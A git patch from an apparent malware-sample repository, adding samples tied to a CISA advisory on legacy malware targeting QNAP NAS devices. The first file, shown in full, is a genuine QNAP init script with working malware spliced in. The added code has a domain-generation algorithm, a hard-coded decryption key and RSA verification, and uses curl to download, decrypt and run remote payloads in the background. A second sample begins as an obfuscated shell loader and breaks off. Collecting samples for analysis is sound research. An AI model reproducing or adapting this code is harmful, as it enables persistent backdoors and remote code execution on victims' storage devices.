From d50917b7532e2f6dbcf1de0a94764ffde6ebc8cc Mon Sep 17 00:00:00 2001 From: Malware Samples <74565485+MalwareSamples@users.noreply.github.com> Date: Mon, 16 Nov 2020 18:58:14 -0700 Subject: [PATCH] Qnap --- ...fd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 | 510 ++++++++++ ...342dcdd0de668694b9c1b533ce640ae4571fdbf63c | 572 +++++++++++ ...7684ea18bcaa5434a1c7bdca55f460bb69abec0bdc | 550 ++++++++++ ...9cc610044bde319184ef1f4d23a8053e5087ab641b | Bin 0 -> 15856 bytes ...faa99380db0b36146ec62df768361bca2d9a5c27f2 | Bin 0 -> 61936 bytes ...4446437096f46140292a138bfc9f7e44dc136bac8d | 936 ++++++++++++++++++ ...5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e | 107 ++ ...0c2d66ad9668eeb2e6c0c86a2e9e33757976391d1a | 389 ++++++++ ...8f41585458c7d42d0028e48f6e45c944047f3a15e9 | 535 ++++++++++ ...e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 | 630 ++++++++++++ ...23b188a1d478a466c5e68e6f9d4f340396f6558b9f | 212 ++++ ...31e4a356bce80e928423b374fc80ee997e7c62d3f8 | 510 ++++++++++ ...d42543c6374b5f51e06c32206ccb9042350b832ea8 | 511 ++++++++++ ...49b3fcd83a689db0f1c697abe70561399938380f89 | Bin 0 -> 139904 bytes ...4af9662e94794b8d7c87063387b05034ce779f7d52 | Bin 0 -> 1006576 bytes ...0fc9af34a203c41fb353eaa250a536a09caf78253b | 572 +++++++++++ ...90bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 | 926 +++++++++++++++++ ...e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 | 572 +++++++++++ .../README.md | 1 + ...2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d | 510 ++++++++++ ...35738cbd5e7438721b9d2be120e46b5fd3b23c6c18 | 568 +++++++++++ ...bc6602eea0d1d18d5d799a266209ce594947269346 | 572 +++++++++++ README.md | 2 +- 23 files changed, 9184 insertions(+), 1 deletion(-) create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3615f0019e9a64a78ccb57faa99380db0b36146ec62df768361bca2d9a5c27f2 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/473c5df2617cee5a1f73880c2d66ad9668eeb2e6c0c86a2e9e33757976391d1a create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/845759bb54b992a6abcbca4af9662e94794b8d7c87063387b05034ce779f7d52 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 create mode 100644 2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 new file mode 100644 index 0000000..c7b96da --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 @@ -0,0 +1,510 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c new file mode 100644 index 0000000..b9e718b --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c @@ -0,0 +1,572 @@ +#!/bin/sh +(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";cat > /dev/null <<"EOF"|sh& 